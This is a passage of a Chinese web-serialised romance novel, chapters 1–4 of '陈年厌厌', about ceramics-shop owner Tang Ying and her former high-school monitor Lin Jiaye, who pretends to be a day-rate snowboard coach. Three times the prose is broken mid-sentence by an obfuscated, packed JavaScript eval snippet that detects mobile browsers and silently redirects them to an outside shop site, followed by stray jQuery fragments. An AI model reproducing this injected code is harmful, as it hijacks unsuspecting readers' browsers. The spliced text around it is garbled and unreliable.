《陈年厌厌》 1. 第 1 章 店里,小梅低头打扫,天气不热,她额头上却出了细密的汗,有些紧张。 她看着这家店已经两三年,中专毕业后她来到这所城市打拼,找了好几份零工都干不长,偶然看见“容艺巷”门口贴的招聘信——这里大门紧闭,装修也不大用心,但钱给的还算可以。 她抱着试一试的心态打了告示贴上面的联系电话,接电话的人也没有很讲究,草草问了她几句,事情就定下来了,没想到这一干就是三年。 小梅想起今天老板和她嘱咐的,说是下午两点钟会有人过来,所以她每隔几分钟就要抬头望一眼门口。门口空荡荡的,她心里也跟着空荡荡地没找落。毕竟,她还从没有独自接待过人,平常这种事都是老板亲自来的。 两点一刻的时候,终于有人踏进了门。 是个男人,三四十岁的样子,中等身材,眼神气质都有点精明。但皮鞋和头发都抹得锃亮体面,看得出出门前用心打扮过。 男人推开门,小梅很快迎上去。男人对她摆了摆手,自顾自地朝店里张望了一圈,又停在几个手工艺品前打量着,就这样还没到两分钟,就问起她来:“店里老板今天不在?” 小梅听完这话,下意识往里头瞄了一眼,茶几旁边的小门紧闭。 她颤颤地收回目光,想起老板对她的嘱咐,又颤颤地说:“老板外出办事去了,今天回不来。” “哦。” 男人也没说什么,在商品前停留的时间也跟着变短了许多,小梅默不作声地在旁边跟着。男人又粗略地逛了一圈,就说有事要先走,下次再过来看。她点了点头,把人送出去。 等人走了,她关上门,沿着里头走到茶几旁边,轻轻敲了敲工作间的小门:“唐迎姐,那个人走了。” “自己进来吧,我手上脏。” 她推开门,朝板凳上低眉捣鼓材料的女人走过去,低声说:“我真想不明白。” “想不明白还想,给自己找不痛快。” “可您明明就在,为什么要骗人家?” “我乐意。” 女人还是那副无所谓的模样,低着头捣鼓手上模具,一点不受干扰。小梅觉得心里头有股气儿无法疏通,她过去扯了把板凳坐下,瞪着老板不说话。 唐迎好一会儿没听见动静,抬起眼来。小梅睁着一双黑白分明的眼睛,正无声地控诉她。 她弯眼睛对她笑:“这钱咱们不赚。” “为什么不?唐迎姐,不是我夸张,这周边多少同类型的店要抢咱们生意。咱们呢?这个月的订单量还不到二十个。” 唐迎正要安抚,外头突然传来动静。她站起来出去看,见刚刚离开的男人又回来了,正伸着脑袋往她们这头打量,笑得很不值钱:“老板,我就说您在的嘛!刚刚是不是在忙?” 唐迎脸色一下子冷了,目光落在小梅身上。男人见状,倒是很善解人意:“你别怪她,她嘴巴紧着呢,是我自己想回来看一眼。” 小梅颤颤巍巍地低着头,一个字也不敢辩驳。唐迎打量了她一眼,便知道她也没那个胆子。她抽了张纸随便擦擦手,走过去。 “没事儿啊,你忙你的,我就在旁边自己看看。”男人说。 “抱歉,今天店里不方便,我腾不出空来,”唐迎径直走到门口,为他打开门,“今天店里早点关门,您请回吧。” “啊?” 男人有点懵,但唐迎却坚持要送客,面色冷淡地说了几句场面话,连赔笑都懒得装,把人半推着就送出去了。 回到店里,她望着一言不发的小梅,叹了口气:“戏要演好,漏洞百出的让别人怎么相信?” 说着就要回工作间里去,小梅也是沉不住气,委屈和不解的情绪涌上心头:“我就是不懂,客户都上门了,马上就有订单了,为什么这样?” 唐迎也不生气,“他来过好几次了。” 小梅有些迷茫:“什么?” “他说家里要置办摆件,来我店里选一选,”唐迎走到货架,挑了个花瓶上下掂量,“店里东西这么多,哪一样不够他看的?他呢?进门先找人,找不到人晃悠两分钟就走了,醉翁之意不在酒。” 小梅眨巴眨巴眼睛,琢磨出来点儿深意。 她呆呆愣在原地,突然有点羞愧。唐迎已经把瓶子放好,走到前面洗手去了,坐到茶几旁沏起茶来。女人的眉眼精致,身段儿匀称,长发散落在肩头,就是围裙上泥土和颜料的痕迹斑驳,略显邋遢和不拘小节。 见她杵在原地发呆,老板那双漂亮的眼睛冲她眨了眨,让她也过来喝茶。 小梅觉得这么漂亮的人,有人能冲着店里的东西来才怪。 小梅不太甘心,“那本来就是……生意不都是要人谈来的?您外形这么出色,不利用上简直浪费。” 唐迎接着倒茶,“我给你的活太少了是不是?” 小梅瘪瘪嘴,到一旁理货去了。 晚上,唐迎将手上最后一个陶瓷罐子擦拭干净。 容器静置的时候罐口朝上,放一晚上就容易积灰,尤其是在京北这样尘土大的城市。她擦好,小心翼翼地放回架子上归位。 她把大衣捞起来披上,摸索墙边的照灯开关,临走前最后检查了一圈货架。 门口的冷风扑在脸上,清醒不少。唐迎承认自己普通,全身除了这张脸,没点儿别的特色。 花瓶、杯子、收纳盒,各式各样的瓶瓶罐罐摆在木架上。虽然都是日常的用品,用料却出其不意,造型更是别致,瓶身胖瘦不一,似莺莺燕燕,歪歪扭扭搔首弄姿地立在那儿。 不仅装不了太多东西,还占位置,就是一摆设。 关键她定的价还不便宜。 艺术垃圾。 这家店不愧是她的心血,里面的内容和她自己居然出奇得一致——都是华而不实,徒有其表,不上不下。 唐迎站在门口面无表情地盯了一会儿,“啪”的一声关上灯,拉门上锁。 - 月中旬的时候,唐迎接了个定制单,冬日的主题,她想找个雪场找找灵感。 雪场在郊区,车程俩小时,下车点视野不错,远处山坡层层叠叠,滑雪道蜿蜒而下,有缆车缓慢地上行。 去更衣室的路上,周兰英打来电话,问她店里忙不忙,最近辛不辛苦。 “妈,我这工作已经够轻松了,再觉得辛苦,我就得失业了。” 周兰英试探着问:“店里销量如何?” “就那样。”唐迎说。 周兰英皱眉:“你也稍微上点儿心,要实在干不下去就回棉城,我和你爸还不老,养得起你。” 唐迎笑了:“谢谢您,但我的店还不至于沦落到那种程度。” 周兰英又开始絮絮叨叨,唐迎应付着,正想着寻个话题转移一下火力,突然瞧见前头一人。 那人很高,眼皮薄,眉骨和鼻子都很优秀,一双长腿陷在雪里,背景一片白茫茫,衬出他黑眸黑发。 周兰英叫她:“喂?喂?你到底听我说话没?” “妈,你等会儿,”唐迎说:“我好像遇见熟人了。” 周兰英:“谁呀?” 唐迎:“我高中同学。” 周兰英:“那我应该认识的呀?” “我班长,”唐迎说:“总给姜汕跑腿的那个,把姜汕哄得找不着北。” “妞啊,你别这么说你老师,人家好歹带了你三年,”周兰英一拍脑袋,“等等,你说的是那个姓林的男生?你们高中时那个大队长?家长会的学生代表?” 唐迎说:“是他。” “哎哟,我对这小伙子印象可好。” 那可不,唐迎想。 根正苗红的三好少年,家长和老师心中的白月光。 周兰英和唐勇军早年做小本生意,后来虽靠手艺奔赴了小康,但文化程度不高,对优秀的别人家孩子有滤镜。 唐迎上高中那会儿就没少听父母唠叨,说像林家烨这样,各方面都优秀的好孩子太少了,让唐迎常跟他多接触、学习进步。 只不过,当时的唐迎一句也没听进去。 “他现在在做什么呢?这么优秀的男孩儿,肯定去国企或者大公司了吧?” “我晚点和您说。”唐迎挂了电话,抱着雪板朝前边儿走。 另一头。 林家烨正找人激活卡,早上谈项目的时候,乙方送了张滑雪全季卡,不知道提前做了什么功课,地方和项目都是按他的习惯选的,林家烨看了眼,没推脱。 窗口的票务大哥抬头看了他一眼,见是熟脸,寒暄道:“好久没见你来了,从国外回来了?” 林家烨点头,“嗯,待几天。” “今年这个雪季有点短哦。”大哥说。 林家烨看着雪场,说了句:“能滑多少是多少吧。” 事实上他的假期已经所剩无几,程倧天天跟催命似的打电话,要他回展馆,他快活不了多久了。 正等着录入信息,那头远远走过来一个身影。林家烨只是略略一扫,瞥见那人的轮廓后,皱了一下眉。 那人头小小的,长发被顶上的毛线帽子压着,温顺地垂下来。鼻尖和嘴巴都埋在脖子前的围巾里,只露出来两只明俏的眼睛。 雪板被她抱在身侧,手指尖儿泛红,像第一次来的不知道怎么拿雪板,有点儿吃力。 大哥说了句:“你等我会儿啊,有客户来了。” 林家烨没理,只盯着前头那人,她也早早看见了他,冲他直直过来了。 唐迎看着这张脸,高中毕业六年,对面的人也有变化,她保守地问:“我们是不是认识?” 林家烨听到这句,唇角微斜,笑了声。 这一声很轻,带着气音,也是这声笑,让唐迎几乎立刻确定,她没认错。 因为高中时有个人也这么笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165416|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那时的唐迎,成绩差得几乎倒数,十六七岁的年纪里,眉眼都长开,加上个子猛涨,出落成看了一眼就会让人记住的模样。 和她表白的人每学期都有,本班的、别班的、高年级的,男生们总会想方设法地约她到教室门口。 不巧,每次到了这种聊表心意的场景,总有人不合时宜的出现。 那人就是林家烨。 他靠在门框边,看着她和来表白的男生,先会惯例笑一声,然后在纪律日志上记上她和男生的名字,说:“轻度违纪,扣三分。” 唐迎轻哼:“不就肩膀上带个牌儿?牛什么劲儿?” 说完,她就转身回教室,走之前不忘告诉林家烨:“他找的我,你给他多扣两分。” 来表白的学长:“……学妹,你为什么要这样对我。” “省得你下回还来。” “……” 学长还在哀嚎,唐迎已经回座位了。门口,林家烨倒是很爽快地说了句“行”。 那时他是班长,也是学校里的大队长,是老师的心头宝,学生们的望尘莫及。 唐迎觉得这人是和她互不相干的两个极端。 她不喜欢刻板守序的事物,也不喜欢陷在条条框框里的人,觉得像林家烨这样的人一眼就能看到底。 三年来,他们说话没超过二十句,她对他所有的印象,都停留在表白被抓包的场景里,这种印象算不上舒心,甚至很浅。 林家烨问:“来滑雪?” 唐迎:“……嗯。” 林家烨后退了一步,给她让出窗口的位置。 唐迎冲柜台说:“你好,我想咨询一下单板的课程。” 票务大哥暗自忖度这俩人的关系,手上动作没停,很快扯出一张课程价目表,递过去。 唐迎低头认真浏览起来,脸颊边的发丝微垂。 林家烨看了一会儿,忍了忍,还是出声:“你要找教练?” “对。” “单板?” “是的。” 他沉默半响,说:“我就是。” 唐迎一顿,抬头看他。 他说他就是。 是什么? 她直愣愣地盯了他一会儿,见他也正看着她,唇角平直,神情不似说笑。 “你是教练?” “嗯,”林家烨的余光扫了一眼她手上的价目表,那上面的课程大多和办卡绑定,针对长期学员,对还没有决定要不要入坑滑雪的新手不太友好,他不动声色地补充:“日结。” 日结。 对面的人顶着一张周正清隽的脸,唐迎消化了一会儿,觉得“日结”这个词从闪闪发光的大队长嘴里说出来的时候,有种奇异的虚假感。 他也有这么一天呢? 她和周兰英通电话的时候,周兰英还在打听他现在在哪里高就。 她狐疑地看着他,眼里是打量和思考,外加一丝兴趣。 那丝兴趣很浅很淡,但还是被林家烨敏锐地捕捉到了。 那是在学生时代不曾在她眼里出现过的,对他的,兴趣。 林家烨知道他这话赌对了,她对他“悲惨拮据的生活状况”很好奇。 一声低咳声传来,票务大哥欲言又止的看着他们。 林家烨看了票务大哥眼,又冲唐迎说:“你跟我来。” 唐迎跟着他走到远处,离窗口有段距离,林家烨打开手机调出一张照片。她凑过去看,见是一本滑雪教练证的扫描件,上面写着职业资格证书。 “放心,我不是三无。” 他说这话时站得笔直,薄薄的眼皮垂下,看着她的发顶。 滑雪资格证考起来并不难,他好几个证一起考的,也没想过有天会用它来做些什么见不得人的勾当。 但这其中门道,滑雪小白肯定是不清楚的,有信息差。 唐迎看好了证,直起身。 “看好了吗?” “看好了。” “怎么说,我教你?” 唐迎没出声,她望向远处雪坡上的黑色小人点儿。那里是新手区,都是成双成对的学员和教练。 单板初期上手难,平衡差的一不小心就会摔。教练作为学员在雪板上时唯一的支撑点,大部分时候要抬起双手紧紧扶着学员,为学员提供支持和稳定。 距离不过咫尺,手臂和手臂紧密地交织在一起,仿佛溺水的人眼前唯一的浮木,使劲抓着,才不会沉没下去。 很亲密。 唐迎看得眼睛弯了起来,唇边笑得轻快,侧头问他:“我是没问题,但你确定?” 她的眼睛长得很漂亮,两边眼角细长,中间很圆,看人的时候,像猫咪。问这话时语气散漫,唇边的笑也是没心没肺的。 林家烨觉得刺眼。 他沉默了会儿,接住她抛出的问题:“赚钱的事,有什么不确定的。” 2. 第 2 章 初级雪道的山坡很小,坡度很缓。 入门阶段,双板大多滑得很顺畅,老师略一指点,很快就能上手。对比起来,单板的境况看起来惨淡多了,雪场上人一个接一个地摔。 唐迎来之前做过功课,知道单板入门起来难,对滑雪初学者来说更容易打击兴趣。 只是她向来喜欢冒险。 林家烨提醒了句:“你如果选双板,今天不会摔得太疼。” 唐迎:“我就学单板了。” 林家烨说了句“行”。 “你就穿成这样去?”林家烨打量她身上,最外面套了件雪服,仍显单薄,看出来里面没穿几层。 唐迎问:“怎么了?” 林家烨:“雪场很冷。” “穿太厚我怕影响滑动,我本来也没什么技术,”她挺坦诚,“就这样吧,我不怕冷。” 她确实不怕冷,林家烨想起来了。 高中时,到了秋冬换季,她还是穿着校裙来上学,露出一双修长笔直的腿,也不怕冻。 上身是外套,下身穿短裙,这身搭配招摇又奇葩,同学都看在眼里。有人问唐迎为什么这么穿,她就眨眨眼睛,丝毫不掩饰地说,这么穿美呀。 十六七岁是最青涩最放不开的年纪,班上的女生连穿短裤都很少,只有她理直气壮地臭美。 林家烨说:“站这儿等我一下。” 唐迎说“好”。 他走到储物柜旁,脱外套。外套里面是一件黑色的长袖速干衣,贴身款,能看到里面小臂紧实,线条清晰可见。林家烨套上雪服和帽子,眼睛望过来。 唐迎收回视线。 周末到处都是游客,密密麻麻一片。唐迎跟着他走到初级雪道,一直到一处相对空旷的角落才停下。 林家烨说:“这儿没什么人,你可以随便摔。” 唐迎:“......知道了。” 她是不是还得夸他体贴周到? 林家烨也不废话,让她把板子放平在地上,没给什么缓冲和适应的时间,开始了教学。 “膝盖弯一点。” “腰挺直。” “注意力集中点,没吃饱饭?” 简洁利落的语气,唐迎渐渐出了汗,她找的便宜教练似乎只负责教干货,不负责学员的心理疏导和精神鼓励。 一个走神的间隙,唐迎没把握好平衡,身体向前倾去。 一只手及时搭过来,撑住她的手。 那只手修长、温暖、有力,把她这么往上一抬,她就重新回到平衡点的位置,恢复了平稳。 之后的时间里,每次她感觉要站不稳摔倒的时候,他都会及时搀住她。 几次下来,唐迎的小腿和膝盖处酸疼,手心里已经全都是汗。 中途休息,她把雪板从鞋上拆卸下来,就着雪地屈膝坐下,觉得全身都酸痛。 林家烨去雪场内的便利店买了两瓶水,一瓶递给她。 唐迎也不客气,接过来就往嘴里灌。 单板是体力活,她现在急需补水。 “教练,我什么时候能去那个道滑?” 她没叫他的名字,改称为“教练”,林家烨看了她一眼,顺着她的手指望过去。 黑灰色的山坡上,雪道像一条白色的飘带嵌入其中。她指的这条,恰好是雪场里最长也是坡度最高的。 雪场里的新手道都是积雪堆出来的,那儿才是真正的山坡。 林家烨笑了一下:“还没学会走路,就想跑?” 唐迎反问:“想一想也不让?” 林家烨没说话,开了瓶盖仰头喝水。 唐迎看着他绷紧的下颌,突然脱口而出:“林家烨,你给我滑一个看看呗。” “?” 唐迎冲他弯弯眼睛:“我都不知道自己的教练是什么水平,怎么有动力进步。” 林家烨垂眼看着她,唐迎被他盯得发毛,正想要不算了,他已经站起身,上板、起势、立刃推坡。 大概是为了做示范,他滑得很慢,慢吞吞地推坡到了雪道中部,距离远到觉得唐迎应该没法看清细节了,才侧身加速往下冲。 他膝盖微曲,冲下去的速度很快,换刃时板子立得快要飞起,在雪地上留下一道蜿蜒的细线。 下去之前也没戴帽子,一气呵成,跟唐迎记忆中周正的少年模样不太一样,黑发被吹得有些乱,肆意扬在空中。 帅。 还是一种带着松弛和自如的帅。 唐迎看了会儿,觉得有些口渴。 明明刚刚才喝过半瓶的水。 林家烨还有这样不为人知的一面呢? 自由闲散、势不可挡。 他上学的时候也不这样啊。 ...... 训练结束的时候,夜幕罩着山峦,太阳已经西沉。 唐迎换上平底鞋的那一刻,觉得双脚已经不是自己的了。她不知道是冻的还是疼的,也许两者都有。 唐迎订的那辆大巴还有最后一班返程车,现在离开,刚好能赶上。 “我先走了,”她见林家烨还没开始换衣服,问:“你不下班吗?” “我坐会儿,没准夜场能被人看上,再接两单,”林家烨说的跟真有那么回事儿似的,“反正日结,不赚白不赚。” 唐迎安静了一会儿,突然笑了。 那笑声清脆,轻飘飘的,林家烨抬眼朝她望过去,见她笑得鼻子都皱了起来,漂亮的眼睛眯成一条缝。 他清楚地记得,高一那年市内联考,他的英文作文登上范文榜。 他站在讲台上,对着一行行字侃侃朗读,被台下认可的目光围绕。 他从作文里分神望向台下最窗边的那一列。 少女正侧着脸,看着窗外走神,不知道在想什么。 念作文的声音顿了顿,接着往下,像什么也没发生过。 他意气风发的那些年,她从来没分给他过一点关注。 反倒是现在,她看着他的落魄,笑得眼睛都弯了起来。 - 距离从雪场回来两周,京北入冬得更深了。 唐迎还真获得了那么点儿灵感,在她做设计图的间隙时不时冒出来。她专心做这单,店内杂事交给小梅打理。 小梅原名叫李悦梅,单眼皮、皮肤黝黑、比唐迎还小上几岁,家在京北周边的小县城,没读几年书就出来打工了。 和唐迎一样,是学渣,唐迎看她挺顺眼。 唐迎自己也才刚毕业两三年,但仍然充当姐姐的角色问过小梅关于上学的想法。小梅家里有事急需用钱,没细说,唐迎也没多问。 不过,小姑娘心态倒是敞亮,说早点出来打工也好,还能跟着唐迎学点儿东西。她确实也没有让唐迎操心,事少嘴严,干活靠谱。本身店面也不大,唐迎觉得两个人够用了,没有再多招人。 上周客户看了厨具的草稿图,觉得满意,结单的这天晚上,客户那边的尾款爽快地打了过来,唐迎找了一家东北菜馆,叫上贝桃一起吃。 贝桃上完一整天班,卷发还是黑油油的,口红也抹得一丝不苟,坐下来问:“这次又是什么好事儿?” 唐迎说:“最近结了个定制单。” 贝桃:“就这事儿?” “就这事儿,”唐迎挑了一筷子花生米,招呼服务员上了一小瓶白酒,给她倒上,“不行?” 贝桃说:“有时候我都怀疑,咱俩是不是在同一个城市。照你这花钱的速度,能在京北待多久?” 新店开业,庆祝;招店员,庆祝;接个不算大的定制,庆祝。只要唐迎想,类似的理由能找到一百个。 一个月下来她能庆祝个三四次,任何收入在她手里都不能超过一个月。来钱了能花就花,绝不存着。 京北是个节奏快、生存压力大的一线城市。这里欲望与机会并存,多少人心怀憧憬,期望能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165417|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这座大城市筑巢安顿,生根发芽。 贝桃也是如此,虽然爱玩,实际私底下对自己的人生有一套非常具体的蓝图。在公司里干销售兢兢业业这么多年,职场上的事她绝不含糊,每个月工资的一大半都存银行,为三十岁在京北买房做准备。 但唐迎不一样,贝桃几乎没见过她对金钱物质产生欲望的时候,也完全没存款的打算。 “能待多久待多久,”唐迎说,“这里的店开不下去了,大不了我再回老家开,日子一样过。” 唐迎不喜欢按部就班,不喜欢规划未来,从上学的时候就是如此。那时成绩不好,也没想过将来要干成什么大事,到了现在也是一样。 餐馆老板是个爽快汉子,路过听见她们的对话,冲唐迎竖大拇指:“我支持你!享受当下!” 唐迎冲老板笑笑,手机在这时震了震,她放下筷子,拿起来看。 “亲爱的滑雪学员,打扰了!初次滑雪之后有一些注意事项,请您知悉!回家后,双腿酸软疼痛是正常现象,以下是一些缓解肌肉疲劳的方法......” 中间省略几百字。 “......如果您有任何问题或需要更多滑雪资讯,请随时联系。祝愿您在滑雪的旅程中取得更多进展,享受冰雪世界的乐趣!祝你生活愉快!” 最后一行还署了个名:教练员-林家烨。 唐迎没有清理通讯录的习惯,高中同学的联系方式这么多年都静静躺在列表里,她不闻不问,但也没有删。 上次课程结束,她给林家烨转去课时费之后,对方十分高冷,一句多余的话也没回复她。 自那之后的两周一直都没动静,这时突然给她发消息,是想......维系客户? 唐迎被自己的想法雷了一下。 从种种迹象来看,林家烨貌似是来真的。 “谁啊?男的?”贝桃看出她脸上的表情很精彩。 唐迎说:“推销的,上次的滑雪教练。” 贝桃撑着下巴,“帅哥?” 唐迎点点头。 贝桃的表情讳莫如深。 唐迎没理她,手指在输入框里敲敲打打。 打了两个字又删掉,放下手机继续吃饭。 贝桃问:“不回了?” 唐迎:“群发的消息,你让我硬聊?” 贝桃:“哈哈,我还以为你铁树开花了。” 贝桃换对象换得很勤,她深谙恋爱技巧,每次都把对面的男人拿捏得死死的,对感情的事很在行,只是唐迎从来不给她机会发挥。 贝桃:“从我认识你,就没在你身边见过什么异性。” “不想谈恋爱。”唐迎说。 贝桃:“为什么啊?” 唐迎安静了一会儿,说:“没遇见喜欢的。” 虽然她的桃花运不少,但贝桃说的没错,她对恋爱的态度其实很模糊。 这么多年来追捧她的男生无数,可她对他们的印象很复杂,好像对方永远到不了她想要的那个点。 她知道自己漂亮,男生们不瞎,自然会主动凑上来。但唐迎有时也会不解他们到底喜欢她什么。 她和他们从没相处过,她不了解他们,他们也不了解她。 她是个立体而真实的人,而不仅仅有一张好看的脸。 手机屏幕暗下去了,林家烨没有再发消息过来。 贝桃点点她的手机:“不喜欢这个?” 唐迎摇头,“谈不上喜不喜欢。” 贝桃:“那就是不讨厌?” 讨厌吗? 在和他不算多的接触里,唐迎只把他当普通的高中同学,没把他划为“学生时代讨厌的男生”那一列。 那时他忙着做老师的走狗。 上课考试都目不斜视,远离同学小圈子和八卦,天天往死里卷,一张帅气的脸只对着老师和校长绽放笑容,哪有时间管她? 合理。 3. 第 3 章 唐迎给自己的店取名叫容艺巷。 店里展品不多,每一个都是唐迎亲自设计亲自做,东西精致考究,成本高、定价不便宜。大部分客人都是进来观赏一圈就走,一天能有几单算是好行情了,如果能接到定制的单,一次能撑大半个月。 对于唐迎来说,经营这家店经济上能自给自足,她已经很满足。 唐迎回店里,小梅正在整理货架,说今天卖出去了五单。五单不多不少,但够发工资和吃饭住房。 周兰英打来电话,给唐迎支招儿。 “我听说,最近线下店的生意都不好做。我在京北有几个认识的叔叔阿姨,要不要把你的店推给他们?” “妈,我这店里的东西又贵又不实用,叔叔阿姨们也欣赏不来,”唐迎笑着说:“你就别勉强人家了,我也不差你这几单。” 周兰英和唐勇军打电话过来的次数不多,一周最多两次,因为他们自己也忙,要进货、算账、打包。 虽然是小本生意,但每天也朝九晚五的。 两人双双过了五十,一点不比年轻人清闲。唐迎半开玩笑地问她啥时候退休,周兰英马上反驳回来。“退什么休,现在退休我就没事儿干了呀。” 周兰英和唐勇军用不着唐迎,自己就能过得很好,甚至还能反过来支撑唐迎一些。唐迎的容器店刚开业的时候,前三个月租金是他们垫的,后面唐迎赚钱了才还上。 现在唐迎手上开的这辆车,也是他们在她毕业的时候就给买的。虽然是辆小十万的入门款,但已经比来京北打拼的大部分年轻人幸运很多。 挂了电话,唐迎抬手招呼小梅过来。 小梅正低头盘货,说:“姐,要做啥你和我说就行。” “不是给你安排活,”唐迎看着她,”你过来,套件围裙来。” 小梅过来了,唐迎带着她到小隔间里,端了一盆水,把陶轮打开。 她的工作间专门用来设计和制作,其他人几乎不进来。 小梅又问了遍:“唐迎姐,是有什么急单需要我帮忙吗?” “跟你说不是单子的事儿,”唐迎拍拍旁边的板凳,“坐下吧。” 小梅一愣,才明白,“你要教我手艺啊?” 唐迎看着她没说话,眼睛弯弯的。 小梅只会做最基础的陶坯形状,她咬唇问:“我行吗?” “有什么不行的?只要肯学。”唐迎说。 小梅还没缓过神,懵着坐下来了。 唐英从背后架子上随便挑了个罐子,当作样例。 小梅紧张地盯着,见那罐子呈宽矮状,罐口极小,上面的图案都是跟着瓶身的曲线走的,光看起来就不简单。 “我平常在门外看你做,都不敢打扰你,因为觉得做的过程特别需要集中注意力。”小梅突然说。 唐迎顺着她的话说:“下次你可以直接进来看,有什么想问的就问。” 小梅放松了一点,抿起薄薄的唇,笑了。 黏土有时效性,太久会变软。 几次下来,失败品多出来很多个,都歪扭地立在一旁。 小梅却乐在其中,做了会儿,又有点不好意思地问:“姐,怎么突然想起要教我了?” 唐迎说:“我这店开不长久的。” 小梅“啊?”了一声。 唐迎像开玩笑似的,“到时候你就是我的传承人。” 这话太随意了,小梅想问问清楚。唐迎却很严格,教得很快,没给什么时间思考,她只能一步一步紧跟着做。 临近十一点的时候,唐迎叫了停,问她累了没。 “不累,小时候在村里干那些农活比这个累多了。”小梅说。 唐迎站起来去倒水喝,和她说:“不累也歇会儿吧,我累了。” 小梅想在京北这座大城市扎根,掌握一门手艺没坏处,所以唐迎教她。 她第一次招的小梅,后来没换过人。小梅每天很早到店里,很晚离开,中间也不走神干自己的事。 唐迎以前和她强调过,店里没那么多规矩,没客人来的时候可以适当歇歇,但小梅听不进去,做事仍然板正,没活的时候,她就主动给自己找活干。 唐迎拿起手机,给小梅物色吃喝玩乐的东西,“你现在也是半个京北人,既然来了就好好享受。大城市不是只有苦可以吃,要学会放松,给自己喘口气。” 唐迎随意挑了几家口碑菜馆、密室剧本杀转发过去。 聊天列表里,她和林家烨的最后一条消息还停留那条问候语里。唐迎思考半秒,将他的名片勾选上,一并给小梅发送过去。 “该吃吃,该玩玩,叫上你在京北的小姐妹一起去。” “谢谢姐!” - 林家烨回到酒店房间。 程倧半小时前给他发了消息,他没顾得上看,拨了号码回过去,程倧刚接通就问:“你这酒店都住多少天了?时差倒回来没有?” 林家烨说:“没呢。” “行,”程倧说:“等你歇好了我再烦你。” 程倧是林家烨的合伙人,两人合开一家展览工作室。林家烨负责核心的设计工作,程倧来对接项目方和统筹进度。 两人租了个场地,空间不大,但在CBD中心地段。 林家烨说:“你当我是钢铁侠,一年四季连轴转?” 程倧笑了,“你就给个准信,什么时候能回来?” 林家烨说:“半个月。” 程倧说“行”,又交代了几句月底工作室的项目进度。要挂电话之前,林家烨说:“等会儿。” 程倧问“怎么了”,林家烨让他先把文件发过来。程倧有点儿意外,呛他:“干嘛?你不是还得半个月?” 林家烨说:“我先看会儿。” 程倧笑了,把文件发过去了。 喝过咖啡,林家烨彻底清醒了,拿起手机点开群文件,瞥见好友申请处多了一条未读。 申请理由上写着“滑雪咨询”,来源显示为“来自唐迎推荐的名片”。 “……” 这是帮他介绍上客户了。 林家烨点了通过。 那人的头像很朴素,是山水景色,昵称是简洁的一个“梅”字。 林家烨刚通过,那头很快发来消息:“教练打扰了,是我老板推荐的,之后去你们雪场玩!” 林家烨没回复,先点开了“梅”的朋友圈。 唐迎这么多年来很少发朋友圈,即使发了也是吃喝玩乐,没什么有效信息。 但“梅”就不一样了,她所有的朋友圈都指向一个主题——一家叫“容艺巷”的店。不是转发店铺活动,就是上架新品的照片,像半个工作号,十分敬业。 林家烨退回来,回复:“替我谢谢你们老板。” “梅”很友好地回了个“ok”的表情包。 林家烨慢慢敲下一句:“你们店今天开着?” 小梅:“开着呀。” 林家烨:“行。最近雪场有回馈用户的福利,我给你和你老板一人送一份。” - 小梅觉得这个滑雪客服人还怪好的,也没多想,高高兴兴地就把店里地址发过去。 到店里,她边理货边把这事和唐迎说了。 唐迎问:“什么福利?” 小梅说:“不知道,那个教练没有说。” 唐迎正忙着选品,也没把这事放在心上,只当是雪场例行拉拢客户的活动,随口“嗯”了一声。 她昨晚把车里后备箱收拾出来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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唐迎说:“都搬完了。” 林家烨点点头,转身就要走。 唐迎闭了下眼睛,还是走上前,把人叫住了:“你等一会儿。” 她把人赶进屋里,把门关上了,又走到茶几旁边,说:“外面冷,喝口热茶再走吧。” 她低着头泡茶,感觉到有淡淡的视线盯着自己,他在看她。 唐迎抬起头,朝货架那边扬扬下巴,对他笑笑:“你随便逛逛。” 林家烨说了声“行”,打量起店内装潢。 墙体和货架都是木制的,有几处自然的磨损,没有修整。货架上的商品没有严格按照分类来摆放,看得出主人性格随性。 唐迎刚刚是没什么话说,就客套客套,但林家烨逛得却很认真。 他走的很慢,几乎在每一个货架前停留,目光安静地扫过那些东西,每一寸罐面、瓶身、纹理。 连唐迎这个店主都觉得,他看得有些过于专注了。 林家烨在货架拐角的地方停着,指了指上面,问:“这个不卖吗?” 那是个歪歪扭扭的小型木筒,容量很小,形状也十分平庸,反倒像个半成品。 廉价的气息扑面而来,和店里其他商品格格不入,却用玻璃盒装好了摆在墙柜最高层。 “不卖的,当个纪念,”唐迎解释:“这是我做的第一个笔筒,上高中那会儿,我天天摆在课桌上。” 她不经意话锋一转,“你那时忙着学习,应该对它没什么印象。” 林家烨几乎想笑,没有追究她话里小小的怠慢。 …… 他要是告诉她他记得什么,她会吓着吧。 4. 第 4 章 林家烨和程倧承包的是一个中型艺术空间,起名叫“触域”。 这块紧邻商业区,分出的一小块园区被做成了艺术文化中心,大大小小的楼房挨在一起,被做成了剧场、放映厅、展厅会馆。 “触域”的地方不算太大,只有一层的平楼,地段却很中心,来这块儿逛的游客最先看到的就是这一间。 林家烨回到展馆的时候,远远看见一个人立在那儿,站姿板正,手指间夹着的东西冒着火星子,穿着套深棕色西装,发型被发胶打理得整齐精致,室外的风怎么大头发也吹不乱。 